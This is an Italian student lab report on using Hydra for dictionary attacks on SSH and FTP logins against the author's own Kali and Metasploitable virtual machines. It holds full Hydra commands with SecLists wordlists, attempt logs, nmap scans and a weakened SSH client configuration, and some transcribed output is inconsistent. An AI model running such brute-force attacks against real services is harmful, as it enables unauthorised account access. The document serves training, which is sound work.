

---

# PROGETTO S6 L5

17/01/2025

## CONSEGNA

L'esercizio di oggi ha un duplice scopo:

- Fare pratica con Hydra per craccare l'autenticazione dei servizi di rete.
- Consolidare le conoscenze dei servizi stessi tramite la loro configurazione. L'esercizio si svilupperà in due fasi:
- Una prima fase dove insieme vedremo l'abilitazione di un servizio SSH e la relativa sessione di cracking dell'autenticazione con Hydra.
- Una seconda fase dove sarete liberi di configurare e craccare un qualsiasi servizio di rete tra quelli disponibili, ad esempio ftp, rdp, telnet, autenticazione HTTP.

## PARTE 1

### 1

Creiamo un nuovo utente su Kali Linux, con il comando «**adduser**»

Si tenga presente che la nostra macchina kali ha IP **10.0.2.15**

- Chiamiamo l'utente **test user**, e configuriamo una password iniziale **testpass**

```
kali@kali:~$ sudo adduser test_user
[sudo] password for kali:
Sorry, try again.
[sudo] password for kali:
info: Adding user `test_user' ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Adding new group `test_user' (1001) ...
info: Adding new user `test_user' (1001) with group `test_user (1001)' ...
info: Creating home directory `/home/test_user' ...
info: Copying files from `/etc/skel' ...
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for test_user
Enter the new value, or press ENTER for the default
  Full Name []:
  Room Number []:
  Work Phone []:
  Home Phone []: ù
  Other []:
chfn: invalid home phone: 'ù'
fatal: `/bin/chfn test_user' returned error code 1. Exiting.
```

## 2

Attiviamo il servizio ssh con il comando **'sudo service ssh start'**

Testiamo la connessione in SSH dell'utente appena creato sul sistema, eseguendo il comando seguente: **ssh test\_user@10.0.2.15**,

Se le credenziali inserite sono corrette, dovrete ricevere il prompt dei comandi dell'utente test\_user sulla nostra Kali.

```
File Actions Edit View Help
(kali@kali)-[~]
$ sudo service ssh start /seclists/Passwords
[sudo] password for kali: ~100_most_used_passwords.txt

(kali@kali)-[~]
$ ssh test_user@
Warning: Permanently added '10.0.2.15' (ED25519) to the list of known hosts.
Warning: Permanently added '10.0.2.15' (ED25519) to the list of known hosts.
(kali@kali)-[~]
$ ssh test_user@10.0.2.15
The authenticity of host '10.0.2.15 (10.0.2.15)' can't be established.
ED25519 key fingerprint is SHA256:tZS6TQxyMYb4Pc8gEDFRgv73mbM1c7lJFatkyAZUmKk.
This host key is known by the following other names/addresses:
  ~/.ssh/known_hosts:1: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.0.2.15' (ED25519) to the list of known hosts.
test_user@10.0.2.15's password:
Linux kali 6.8.11-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.8.11-1kali2 (2024-05-30) x86_64
The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Jan 17 03:24:46 2025 from 192.168.10.2
```

### 3

● Se volete scaricare una collezione di username e password, installate **seclists**. **Seclists** contiene elenchi di username e password piuttosto vasti. Utilizzate il comando «**sudo apt-get install seclists**».

Approfitteremo del suggerimento fornito dall' esercizio per andarci a scaricare **seclists**, una sorta di libreria di file .txt contenenti diversi insiemi di nomi e password.

```
(kali@kali)-[~]$ sudo apt install seclists
[sudo] password for kali:
Installing:
  seclists

Summary:
  Upgrading: 0, Installing: 1, Removing: 0, Not Upgrading: 1877
  Download size: 526 MB
  Space needed: 2,082 MB / 54.7 GB available

Get:1 http://kali.mirror.garr.it/kali kali-rolling/main amd64 seclists all 2024.4-0kali1 [526 MB]
Fetched 526 MB in 11s (50.0 MB/s)
Selecting previously unselected package seclists.
(Reading database ... 395971 files and directories currently installed.)
Preparing to unpack .../seclists_2024.4-0kali1_all.deb ...
Unpacking seclists (2024.4-0kali1) ...
Setting up seclists (2024.4-0kali1) ...
Processing triggers for kali-menu (2024.3.1) ...
Processing triggers for wordlists (2023.2.0) ...
```

## 4

● **A questo punto, avendo verificato l'accesso, non ci resta che configurare Hydra per una sessione di cracking.**

Ovviamente in questo esercizio conosciamo già l'utente e la password per accedere, ma soffermiamoci sulla sintassi di Hydra per ora, successivamente potete cambiare e scegliere username e password random per testare il sistema in «blackbox».

● **Possiamo attaccare l'autenticazione SSH con Hydra con il seguente comando, dove -l, e -p minuscole si usano se vogliamo utilizzare un singolo username ed una singola password. Ipotezziamo di non conoscere username e password ed utilizziamo invece delle liste per l'attacco a dizionario. Useremo gli switch L, P (notate che sono entrambe in maiuscolo). hydra -l username -p password IP -t 4 ssh**

Svolgiamo ora un piccolo test dove andremo a utilizzare il comando fornitoci

**hydra -l test\_user -p testpass 10.0.2.15 -t 4 ssh**

```
(test_user@kali)-[~]
$ hydra -l test_user -p testpass 10.0.2.15 -t 4 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organization
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-01-17 03:54:46
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 try per task
[DATA] attacking ssh://10.0.2.15:22/
[22][ssh] host: 10.0.2.15 login: test_user password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-01-17 03:54:47
```

e vediamo che hydra funziona correttamente andando ad effettuare un tentativo di cracking riuscito grazie alle credenziali da noi fornite.

● ...Dove sostituiremo `username_list` e `password_list` con le wordlist scaricate e IP kali con il nostro IP.

Ora, selezionate le due liste dal comparto **'seclists'** che abbiamo scaricato, nel nostro caso utilizzeremo

**`/usr/share/seclists/Usernames/top-usernames-shortlist.txt`**

Come elenco da cui selezioneremo i nostri Usernames

**`/usr/share/seclists/Passwords/darkweb2017-top100.txt`**

Come elenco da cui selezioneremo le nostre password

**P.S**

***Nell 'esercizio guidato vengono utilizzati i file '...10-milion...' che contengono un registro di un milione di possibilità. Ho scelto di sostituire i file con due elenchi notevolmente più corti per evitare un attesa 'infinita' e un eccessivo utilizzo delle risorse del mio pc. I file selezionati verranno più avanti modificati come illustrato in seguito.***

Non resta che effettuare una prova, Il nostro comando sarà quindi:

```
hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt -P  
/usr/share/seclists/Passwords/darkweb2017-top10.txt 10.0.2.15 -t 4 ssh -V
```

```
(test_user@kali)-[~]  
$ hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt -P /usr/share/seclists/Passwords/dar  
kweb2017-top10.txt 10.0.2.15 -t 4 ssh -V  
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service or  
ganizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).  
  
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-01-17 04:12:16  
[DATA] max 4 tasks per 1 server, overall 4 tasks, 1683 login tries (l:17/p:99), ~421 tries per task  
[DATA] attacking ssh://10.0.2.15:22/  
[ATTEMPT] target 10.0.2.15 - login "root" - pass "123456" - 1 of 1683 [child 0] (0/0)  
[ATTEMPT] target 10.0.2.15 - login "root" - pass "123456789" - 2 of 1683 [child 1] (0/0)  
[ATTEMPT] target 10.0.2.15 - login "root" - pass "111111" - 3 of 1683 [child 2] (0/0)  
[ATTEMPT] target 10.0.2.15 - login "root" - pass "password" - 4 of 1683 [child 3] (0/0)  
[ATTEMPT] target 10.0.2.15 - login "root" - pass "qwerty" - 5 of 1683 [child 3] (0/0)  
[ATTEMPT] target 10.0.2.15 - login "root" - pass "abc123" - 6 of 1683 [child 0] (0/0)  
[ATTEMPT] target 10.0.2.15 - login "root" - pass "12345678" - 7 of 1683 [child 1] (0/0)  
[ATTEMPT] target 10.0.2.15 - login "root" - pass "password1" - 8 of 1683 [child 2] (0/0)  
[ATTEMPT] target 10.0.2.15 - login "root" - pass "1234567" - 9 of 1683 [child 3] (0/0)  
[ATTEMPT] target 10.0.2.15 - login "root" - pass "123123" - 10 of 1683 [child 2] (0/0)  
[ATTEMPT] target 10.0.2.15 - login "root" - pass "1234567890" - 11 of 1683 [child 0] (0/0)  
[ATTEMPT] target 10.0.2.15 - login "root" - pass "000000" - 12 of 1683 [child 1] (0/0)  
[ATTEMPT] target 10.0.2.15 - login "root" - pass "12345" - 13 of 1683 [child 3] (0/0)  
[ATTEMPT] target 10.0.2.15 - login "root" - pass "iloveyou" - 14 of 1683 [child 2] (0/0)  
[ATTEMPT] target 10.0.2.15 - login "root" - pass "1q2w3e4r5t" - 15 of 1683 [child 0] (0/0)  
[ATTEMPT] target 10.0.2.15 - login "root" - pass "1234" - 16 of 1683 [child 1] (0/0)  
[ATTEMPT] target 10.0.2.15 - login "root" - pass "123456a" - 17 of 1683 [child 3] (0/0)  
[ATTEMPT] target 10.0.2.15 - login "root" - pass "qwertyuiop" - 18 of 1683 [child 2] (0/0)  
[ATTEMPT] target 10.0.2.15 - login "root" - pass "monkey" - 19 of 1683 [child 0] (0/0)  
[ATTEMPT] target 10.0.2.15 - login "root" - pass "123321" - 20 of 1683 [child 1] (0/0)  
[ATTEMPT] target 10.0.2.15 - login "root" - pass "dragon" - 21 of 1683 [child 3] (0/0)  
[ATTEMPT] target 10.0.2.15 - login "root" - pass "654321" - 22 of 1683 [child 2] (0/0)  
[ATTEMPT] target 10.0.2.15 - login "root" - pass "666666" - 23 of 1683 [child 0] (0/0)  
[ATTEMPT] target 10.0.2.15 - login "root" - pass "123" - 24 of 1683 [child 1] (0/0)  
[ATTEMPT] target 10.0.2.15 - login "root" - pass "myspace1" - 25 of 1683 [child 3] (0/0)  
[ATTEMPT] target 10.0.2.15 - login "root" - pass "a123456" - 26 of 1683 [child 2] (0/0)  
[ATTEMPT] target 10.0.2.15 - login "root" - pass "121212" - 27 of 1683 [child 0] (0/0)  
[ATTEMPT] target 10.0.2.15 - login "root" - pass "1qaz2wsx" - 28 of 1683 [child 1] (0/0)  
[ATTEMPT] target 10.0.2.15 - login "root" - pass "123qwe" - 29 of 1683 [child 3] (0/0)  
[ATTEMPT] target 10.0.2.15 - login "root" - pass "123abc" - 30 of 1683 [child 2] (0/0)  
[ATTEMPT] target 10.0.2.15 - login "root" - pass "tinkle" - 31 of 1683 [child 0] (0/0)  
[ATTEMPT] target 10.0.2.15 - login "root" - pass "target123" - 32 of 1683 [child 1] (0/0)  
[ATTEMPT] target 10.0.2.15 - login "root" - pass "gwerty" - 33 of 1683 [child 3] (0/0)  
[ATTEMPT] target 10.0.2.15 - login "root" - pass "1g2w3e4r" - 34 of 1683 [child 2] (0/0)  
[ATTEMPT] target 10.0.2.15 - login "root" - pass "gwerty123" - 35 of 1683 [child 0] (0/0)
```

## 4.1

Come possiamo notare abbiamo un **PROBLEMA**. Una volta terminata la scansione non troviamo traccia di accessi eseguiti con successo.

Questo significa che i nostri elenchi non contengono le credenziali adatte, perciò andiamo ad aprire i singoli file txt e a modificarli per la corretta riuscita dell'esercizio.

Questo significa che i nostri elenchi non contengono le credenziali adatte, perciò andiamo ad aprire i singoli file txt e a modificarli per la corretta riuscita dell'esercizio.

The image shows a Kali Linux terminal window on the left and a file editor window on the right. The terminal window displays the following commands and output:

```
(kali@kali)-[/home/kali]
PS> sudo mousepad /usr/share/seclists/Usernames/top-usernames-shortlist.txt
[sudo] password for kali:

(kali@kali)-[/home/kali]
PS> sudo mousepad /usr/share/seclists/Passwords/darkweb2017-top100.txt
darkc0de.txt      darkweb2017-top10.txt      darkweb2017-top100.txt

(kali@kali)-[/home/kali]
PS> sudo mousepad /usr/share/seclists/Passwords/darkweb2017-top100.txt

(kali@kali)-[/home/kali]
PS> sudo mousepad /usr/share/seclists/Passwords/darkweb2017-top100.txt

(kali@kali)-[/home/kali]
PS> sudo mousepad /usr/share/seclists/Passwords/darkweb2017-top100.txt

(mousepad:36633): Gtk-WARNING **: 04:50:18.053: Negative content width -13 (a
(mousepad:36633): Gtk-WARNING **: 04:50:18.053: Negative content height -5 (a

(kali@kali)-[/home/kali]
PS> sudo mousepad /usr/share/seclists/Passwords/darkweb2017-top1000.txt

(mousepad:36833): Gtk-WARNING **: 04:50:39.090: Negative content width -13 (a
(mousepad:36833): Gtk-WARNING **: 04:50:39.091: Negative content height -5 (a

(kali@kali)-[/home/kali]
PS> sudo mousepad /usr/share/seclists/Usernames/top-usernames-shortlist.txt

(kali@kali)-[/home/kali]
PS> sudo mousepad /usr/share/seclists/Passwords/darkweb2017-top100.txt
[sudo] password for kali:

(kali@kali)-[/home/kali]
PS> sudo mousepad /usr/share/seclists/Passwords/darkweb2017-top100.txt
```

The file editor window on the right shows the file `/usr/share/seclists/Passwords/darkweb2017-top100.txt`. The file contains a list of 100 passwords. A red arrow points to the second line of the file, which is `2 testpass`.

```
File Edit Search View Document Help
[Icons] [Search] [Undo] [Redo] [Cut] [Copy] [Paste] [Find] [Find and Replace] [Close All]

Warning: you are using the root account. You may harm your system.

1 123456
2 testpass
3 111111
4 password
5 qwerty
6 abc123
7 kali
8 password1
9 1234567
10 123123
11 1234567890
12 000000
13 12345
14 iloveyou
15 1q2w3e4r5t
16 1234
17 123456a
18 qwertyuiop
19 monkey
20 123321
21 dragon
22 .....
```

Inseriamo quindi le nostre credenziali

**test\_user** nel file **...top-Usernames...**

testpass nel file ...darkweb2017-top100...



(per comodità possiamo porli nelle posizioni più elevate in modo da avere un cracking più rapido)

Rilanciamo ora il comando

```
hydra -L /usr/share/seclists/Username/top-username-shortlist.txt -P /usr/share/seclists/Passwords/darkweb2017-top10.txt 10.0.2.15 -t 4 ssh -V
```

```
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-01-17 05:46:43
[ERROR] File for logins not found: /usr/share/seclists/Username/top-username-shortlists.txt
/home/kali
(test_user@kali)-[~]
$ hydra -L /usr/share/seclists/Username/top-username-shortlist.txt -P /usr/share/seclists/Passwords/darkweb2017-top10.txt 10.0.2.15 -t 4 ssh -V
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or security related tasks without permission.
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-01-17 05:46:51
[WARNING] Restorefile (you have 10 seconds to abort ... (use option -I to skip waiting)) from /usr/share/.hydra_restorefile
[DATA] max 4 tasks per 1 server, overall 4 tasks, 170 login tries (l:17/p:10), ~43 tries per task
[DATA] attacking ssh://10.0.2.15:22/
[ATTEMPT] target 10.0.2.15 - login "test_user" - pass "123456" - 1 of 170 [child 0] (0/0)
[ATTEMPT] target 10.0.2.15 - login "test_user" - pass "testpass" - 2 of 170 [child 1] (0/0)
[ATTEMPT] target 10.0.2.15 - login "test_user" - pass "111111" - 3 of 170 [child 2] (0/0)
[ATTEMPT] target 10.0.2.15 - login "test_user" - pass "password" - 4 of 170 [child 3] (0/0)
[22][ssh] host: 10.0.2.15 login: test_user password: testpass
[ATTEMPT] target 10.0.2.15 - login "admin" - pass "123456" - 11 of 170 [child 1] (0/0)
[ATTEMPT] target 10.0.2.15 - login "admin" - pass "testpass" - 12 of 170 [child 2] (0/0)
[ATTEMPT] target 10.0.2.15 - login "admin" - pass "111111" - 13 of 170 [child 3] (0/0)
[ATTEMPT] target 10.0.2.15 - login "admin" - pass "password" - 14 of 170 [child 0] (0/0)
[ATTEMPT] target 10.0.2.15 - login "admin" - pass "qwerty" - 15 of 170 [child 1] (0/0)
[ATTEMPT] target 10.0.2.15 - login "admin" - pass "abc123" - 16 of 170 [child 1] (0/0)
[ATTEMPT] target 10.0.2.15 - login "admin" - pass "12345678" - 17 of 170 [child 2] (0/0)
[ATTEMPT] target 10.0.2.15 - login "admin" - pass "password1" - 18 of 170 [child 3] (0/0)
[ATTEMPT] target 10.0.2.15 - login "admin" - pass "1234567" - 19 of 170 [child 0] (0/0)
```

Notiamo che l'esercizio è stato completato con successo!.

## PARTE 2

### 1

Per la seconda parte dell'esercizio, scegliete un servizio da configurare e poi provate a craccare l'autenticazione con Hydra.

- Se optate per il servizio ftp, potete semplicemente installarlo con il seguente comando: `sudo apt-get install vsftpd`
- E poi avviare il servizio con: `service vsftpd start`



Decideremo per l'appunto di optare per il servizio ftp. procediamo quindi come suggerito dalla consegna

```
(kali㉿kali)-[~]
$ service vsftpd start

(kali㉿kali)-[~]
$ hydra -l kali -p kali 10.0.2.15 -t 4 ftp -V
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secretary
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-01-17 04:49:37
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 try per task
[DATA] attacking ftp://10.0.2.15:21/
[ATTEMPT] target 10.0.2.15 - login "kali" - pass "kali" - 1 of 1 [child 0] (0/0) action 1, exte
[21][ftp] host: 10.0.2.15 login: kali password: kali
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-01-17 04:49:47
/home/kali
```

nell' immagine sopra vediamo una prova effettuata per verificare se le nostre credenziali come supponevo, sono

**Usrn : kali**

**Pssw : kali**

## 2

Avendo già aggiunto entrambe ai miei elenchi precedenti utilizzati nel punto **4.1 ( Parte 1 )** possiamo procedere andando a modificare il comando per Hydra nel seguente modo

**hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt -P  
/usr/share/seclists/Passwords/darkweb2017-top10.txt 10.0.2.15 -t 4 ftp -V**

```

(kali㉿kali)-[~]
$ hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt -P /usr/share/seclists/Passwords-top-100-common.txt -u test_user -t ftp://10.0.2.15:21/
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or se

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-01-17 05:00:09
[DATA] max 4 tasks per 1 server, overall 4 tasks, 1683 login tries (l:17/p:99), ~421 tries p
[DATA] attacking ftp://10.0.2.15:21/
[ATTEMPT] target 10.0.2.15 - login "test_user" - pass "123456" - 1 of 1683 [child 0] (0/0)
[ATTEMPT] target 10.0.2.15 - login "test_user" - pass "123456789" - 2 of 1683 [child 1] (0/0)
[ATTEMPT] target 10.0.2.15 - login "test_user" - pass "111111" - 3 of 1683 [child 2] (0/0)
[ATTEMPT] target 10.0.2.15 - login "test_user" - pass "password" - 4 of 1683 [child 3] (0/0)
[ATTEMPT] target 10.0.2.15 - login "test_user" - pass "qwerty" - 5 of 1683 [child 1] (0/0)
[ATTEMPT] target 10.0.2.15 - login "test_user" - pass "abc123" - 6 of 1683 [child 2] (0/0)
[ATTEMPT] target 10.0.2.15 - login "test_user" - pass "kali" - 7 of 1683 [child 0] (0/0)
[ATTEMPT] target 10.0.2.15 - login "test_user" - pass "password1" - 8 of 1683 [child 3] (0/0)
[ATTEMPT] target 10.0.2.15 - login "test_user" - pass "1234567" - 9 of 1683 [child 2] (0/0)
[ATTEMPT] target 10.0.2.15 - login "test_user" - pass "123123" - 10 of 1683 [child 0] (0/0)
[ATTEMPT] target 10.0.2.15 - login "test_user" - pass "1234567890" - 11 of 1683 [child 1] (0/0)
[ATTEMPT] target 10.0.2.15 - login "test_user" - pass "000000" - 12 of 1683 [child 3] (0/0)
[ATTEMPT] target 10.0.2.15 - login "test_user" - pass "12345" - 13 of 1683 [child 2] (0/0)
[ATTEMPT] target 10.0.2.15 - login "test_user" - pass "iloveyou" - 14 of 1683 [child 0] (0/0)
[ATTEMPT] target 10.0.2.15 - login "test_user" - pass "1q2w3e4r5t" - 15 of 1683 [child 1] (0/0)
[ATTEMPT] target 10.0.2.15 - login "test_user" - pass "1234" - 16 of 1683 [child 3] (0/0)
[ATTEMPT] target 10.0.2.15 - login "test_user" - pass "123456a" - 17 of 1683 [child 2] (0/0)
[ATTEMPT] target 10.0.2.15 - login "test_user" - pass "qwertyuiop" - 18 of 1683 [child 0] (0/0)
[ATTEMPT] target 10.0.2.15 - login "test_user" - pass "monkey" - 19 of 1683 [child 1] (0/0)
[ATTEMPT] target 10.0.2.15 - login "test_user" - pass "123321" - 20 of 1683 [child 3] (0/0)

```

Dopo qualche minuto arriviamo alla combinazione dei due elenchi **kali-kali** ed otteniamo:

```

[ATTEMPT] target 10.0.2.15 - login "kali" - pass "111111" - 300 of 1683 [child 3] (0/0)
[ATTEMPT] target 10.0.2.15 - login "kali" - pass "password" - 301 of 1683 [child 0] (0/0)
[ATTEMPT] target 10.0.2.15 - login "kali" - pass "qwerty" - 302 of 1683 [child 1] (0/0)
[ATTEMPT] target 10.0.2.15 - login "kali" - pass "abc123" - 303 of 1683 [child 2] (0/0)
[ATTEMPT] target 10.0.2.15 - login "kali" - pass "kali" - 304 of 1683 [child 3] (0/0)
[21][ftp] host: 10.0.2.15 login: kali password: kali
[ATTEMPT] target 10.0.2.15 - login "info" - pass "123456" - 397 of 1683 [child 3] (0/0)
[ATTEMPT] target 10.0.2.15 - login "info" - pass "123456789" - 398 of 1683 [child 0] (0/0)
[ATTEMPT] target 10.0.2.15 - login "info" - pass "111111" - 399 of 1683 [child 1] (0/0)
[ATTEMPT] target 10.0.2.15 - login "info" - pass "password" - 400 of 1683 [child 2] (0/0)
[ATTEMPT] target 10.0.2.15 - login "info" - pass "qwerty" - 401 of 1683 [child 3] (0/0)
[ATTEMPT] target 10.0.2.15 - login "info" - pass "abc123" - 402 of 1683 [child 0] (0/0)
[ATTEMPT] target 10.0.2.15 - login "info" - pass "kali" - 403 of 1683 [child 1] (0/0)
[ATTEMPT] target 10.0.2.15 - login "info" - pass "password1" - 404 of 1683 [child 2] (0/0)
[ATTEMPT] target 10.0.2.15 - login "info" - pass "1234567" - 405 of 1683 [child 3] (0/0)
[ATTEMPT] target 10.0.2.15 - login "info" - pass "123123" - 406 of 1683 [child 0] (0/0)
[ATTEMPT] target 10.0.2.15 - login "info" - pass "1234567890" - 407 of 1683 [child 1] (0/0)
[ATTEMPT] target 10.0.2.15 - login "info" - pass "000000" - 408 of 1683 [child 2] (0/0)
[ATTEMPT] target 10.0.2.15 - login "info" - pass "12345" - 409 of 1683 [child 3] (0/0)
[ATTEMPT] target 10.0.2.15 - login "info" - pass "iloveyou" - 410 of 1683 [child 0] (0/0)

```

possiamo quindi considerare craccate tramite metodologia ‘a **dizionario**’ sia l’username che la password del servizio ftp precedentemente aperto.

---

## CONCLUSIONI

Questo esercizio ha dimostrato l'importanza della sicurezza delle password. Utilizzare credenziali comuni espone i servizi di rete a rischi notevoli.

Le tecniche di cracking a **dizionario** sono semplici da eseguire con strumenti come Hydra, rendendo fondamentale l'uso di password robuste e non presenti in **wordlist** pubbliche.

Buone prassi includono:

- Utilizzare password lunghe e complesse.
- Cambiare periodicamente le credenziali.
- Implementare meccanismi di blocco dopo troppi tentativi falliti.

La consapevolezza delle vulnerabilità aiuta a migliorare la sicurezza dei sistemi informatici.

## BONUS 1

**Bonus: attaccare ssh anche su metasploitable. Potrebbe esserci un problema, da risolvere**

La consapevolezza delle vulnerabilità aiuta a migliorare la sicurezza dei sistemi informatici.

### 1

Spostiamoci su rete interna e andiamo a configurare le nostre macchine per svolgere l'esercizio:

**KALI 192.168.10.2**

## METASPLOITABLE 192.168.10.3

### 2

Inanzitutto assicuriamoci che il servizio ssh di metasploitable sia attivo e raggiungibile dalla nostra macchina kali.

utilizzeremo il comando **nmap** nella seguente maniera:

**nmap -Pn -p 22 192.168.10.3**

utilizzeremo -Pn per disabilitare il ping e forzare la scansione delle porte

```
(kali㉿kali)-[~]  
$ nmap -Pn -p 22 192.168.10.3  
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-17 08:28 EST  
Stats: 0:00:07 elapsed; 0 hosts completed (0 up), 0 undergoing Host Discovery  
Parallel DNS resolution of 1 host. Timing: About 0.00% done  
Nmap scan report for 192.168.10.3  
Host is up (0.0000090s latency).  
  
PORT      STATE      SERVICE  
22/tcp    filtered  ssh  
  
Nmap done: 1 IP address (1 host up) scanned in 13.02 seconds
```

come visto riscontriamo che la porta 22 (ssh) risulta 'filtered', spostiamoci perciò su metasploitable e avviamola col comando

**sudo etc/init.d/ssh start**

```
msfadmin@metasploitable:~$ sudo service ssh start  
sudo: service: command not found  
msfadmin@metasploitable:~$ sudo /etc/init.d/ssh start  
* Starting OpenBSD Secure Shell server sshd  
msfadmin@metasploitable:~$
```

[ OK ]

CTRL (DESTRA)

ripetiamo il comando nmap da macchina kali e visualizziamo ora lo status

```
(kali㉿kali)-[~]  
$ nmap -Pn -p 22 192.168.10.3  
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-17 08:38 EST  
Nmap scan report for 192.168.10.3  
Host is up (0.00099s latency).  
  
PORT      STATE SERVICE  
22/tcp    open  ssh  
  
Nmap done: 1 IP address (1 host up) scanned in 13.03 seconds
```

ora che la nostra porta risulta aperta procediamo lanciando un primo tentativo con 'hydra' verso l'ip di metasploitable su porta ssh

```
(kali㉿kali)-[~]  
$ hydra -L /usr/share/seclists/Username/top-username-shortlist.txt -P /usr/share/seclists/Passwords/...  
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service  
  
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-01-17 09:00:14  
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous  
[DATA] max 4 tasks per 1 server, overall 4 tasks, 1683 login tries (l:17/p:99), ~421 tries per task  
[DATA] attacking ssh://192.168.10.3:22/  
[ERROR] could not connect to ssh://192.168.10.3:22 - kex error : no match for method server host key alg  
.com,sk-ecdsa-sha2-nistp256@openssh.com,rsa-sha2-512,rsa-sha2-256]  
  
(kali㉿kali)-[~]  
$
```

come notiamo abbiamo trovato il secondo problema, ovvero un incompatibilità tra i formati delle chiavi ssh delle due macchine.

per poter risolvere la nostra incompatibilità dobbiamo modificare il file

## ssh\_config

Tramite il percorso

**sudo nano /etc/ssh/sshd\_config**

```
File  Macchina  Visualizza  Inserimento  Dispositivi  Aiuto
File  Edit  Search  View  Document  Help
Warning: you are using the root account. You should not do this.

24 # ForwardX11Trusted yes
25 # PasswordAuthentication yes
26 # HostbasedAuthentication no
27 # GSSAPIAuthentication no
28 # GSSAPIDelegateCredentials no
29 # GSSAPIKeyExchange no
30 # GSSAPITrustDNS no
31 # BatchMode no
32 # CheckHostIP no
33 # AddressFamily any
34 # ConnectTimeout 0
35 # StrictHostKeyChecking ask
36 IdentityFile ~/.ssh/id_rsa
37 IdentityFile ~/.ssh/id_dsa
38 IdentityFile ~/.ssh/id_ecdsa
39 IdentityFile ~/.ssh/id_ed25519
40 # Port 22
41 # Ciphers aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc
42 MACs hmac-md5,hmac-sha1,umac-64@openssh.com
43 # EscapeChar ~
44 # Tunnel no
45 # TunnelDevice any:any
46 # PermitLocalCommand no
47 # VisualHostKey no
48 # ProxyCommand ssh -q -W %h:%p gateway.example.com
49 # RekeyLimit 1G 1h
50 # UserKnownHostsFile ~/.ssh/known_hosts.d/%k
51 SendEnv LANG LC_*
52 HashKnownHosts yes
53 GSSAPIAuthentication yes
54
55 Host 192.168.10.3
56 HostKeyAlgorithms +ssh-rsa
57 PubkeyAcceptedKeyTypes +ssh-rsa
58 MACs hmac-sha1,hmac-md5|
59
60
```

ora, rilanciando hydra dovremmo non vedere più l'errore

---

(si tenga presente che le credenziali corrette sono state precedentemente inserite nei nostri dizionari).

ecco il nostro cracking andato a buon fine. 😊

```
[ATTEMPT] target 192.168.10.3 - login "msfadmin" - pass "msfadmin" - 1 of 1683 [child 0]
[ATTEMPT] target 192.168.10.3 - login "msfadmin" - pass "testpass" - 2 of 1683 [child 1]
[ATTEMPT] target 192.168.10.3 - login "msfadmin" - pass "111111" - 3 of 1683 [child 2]
[ATTEMPT] target 192.168.10.3 - login "msfadmin" - pass "password" - 4 of 1683 [child 3]
[21][ftp] host: 192.168.10.3 login: msfadmin password: msfadmin
[ATTEMPT] target 192.168.10.3 - login "admin" - pass "msfadmin" - 100 of 1683 [child 0]
[ATTEMPT] target 192.168.10.3 - login "admin" - pass "testpass" - 101 of 1683 [child 1]
[ATTEMPT] target 192.168.10.3 - login "admin" - pass "111111" - 102 of 1683 [child 2]
[ATTEMPT] target 192.168.10.3 - login "admin" - pass "password" - 103 of 1683 [child 3]
[ATTEMPT] target 192.168.10.3 - login "admin" - pass "qwerty" - 104 of 1683 [child 0]
[ATTEMPT] target 192.168.10.3 - login "admin" - pass "abc123" - 105 of 1683 [child 1]
```

**Daniele Balani**